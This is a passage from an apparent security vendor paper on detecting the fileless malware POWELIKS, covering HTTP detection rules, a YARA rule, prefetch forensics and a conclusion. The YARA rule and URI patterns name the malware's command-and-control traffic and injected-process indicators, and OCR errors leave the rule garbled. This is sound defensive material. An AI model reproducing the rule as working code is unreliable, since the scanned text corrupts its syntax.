perform packet detection using rules based on response and
request strings.

The following is a sample of the flow of detection for
POWELIKS:

e Check if the GET request is valid
* Check if the URI contains "/query"
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Figure 51: POWELIKS’s HTTP connections.
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Figure 52: Notification for blocking suspicious software, in this case, POWELIKS.

¢ Check if the URI variable contains "version="+"&sid="+

"&builddate="+"&q="

6.3. Behavioural rules

Another means to prevent fileless infection is through
behavioural monitoring. The Trend Micro solution in Figure
52 inspects systems for newly created auto-start registry
entries that can prevent malware such as POWELIKS from
injecting binaries into normal processes.

To determine if systems have been infected with POWELIKS,
a YARA rule can be used as a toolkit (Figure 53). The

following YARA rule identifies POWELIKS variants installed
in systems by scanning running processes in search of known

malware strings or injected code:

rule poweliks_injected

{

meta:

description = "system infected with poweliks"
in_the_wild = true

strings:

$s1 = "http://%s/q"

$s2 = /(syswow64d|system32)\\dllhost\.exe/ wide
$s3 = "%1d.%1d.%04d_%1d.%1d"

$s4 = "IXIXIXEXIXEX"

$s5 = "builddate"

$tl = /windowspowershell\\ [a-z0-9]{1,3}\.[a-z0-
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91{1,2}\\powershell\.exe/ wide

$t2 = "powershell.exe"

condition:
all of ($s*) and any of ($t¥*)
}

6.4. Prefetch files and auto-runs

Prefetch files show the sequence of execution of files. Each
time users turn on their computers, Windows keeps track of

the way they start and which programs are commonly opened.

Windows saves this information as a number of small files in
the prefetch folder. The next time they turn on their
computers, Windows refers to these files to help speed up the
start process [24].

To determine if POWELIKS is present in systems, users can
look at the prefetch folder, C:\windows\prefetch, to see if
rundll32.exe, powershell.exe, and dllhost.exe are executed
consecutively.

A blog post by Corey Harrell [25] described another possible
detection method, that is, to remotely access a system via a
forensic tool such as Encase Enterprise, mount the drive, and
run RegRipper across hives to see all registry entries, which
can be signs of POWELIKS infection.

Trend Micro Anti-Threat Toolkit

7. CONCLUSION

Attacks are becoming more efficient as time progresses.
Protection strategies and technologies must keep pace with
them or become even better. Individuals and organizations
alike need to use the right combination of methodologies,
insights and expertise to curb fileless infection attacks. Using
a holistic approach to piece various components of an attack
together with the aid of the right tools can enhance protectors’
ability to stop fileless infections.

As with any threat, especially one as complex as a fileless
threat, prevention is the best defence. IT leaders need to
create and implement effective strategies proactively. They
should also encourage everyone in the company to do the
same. Organizations should make a good security mindset
part of their culture.

Fileless infection may just be another means to instigate
system compromise but it is powerful. We are bound to see
cybercriminals use them more and more.
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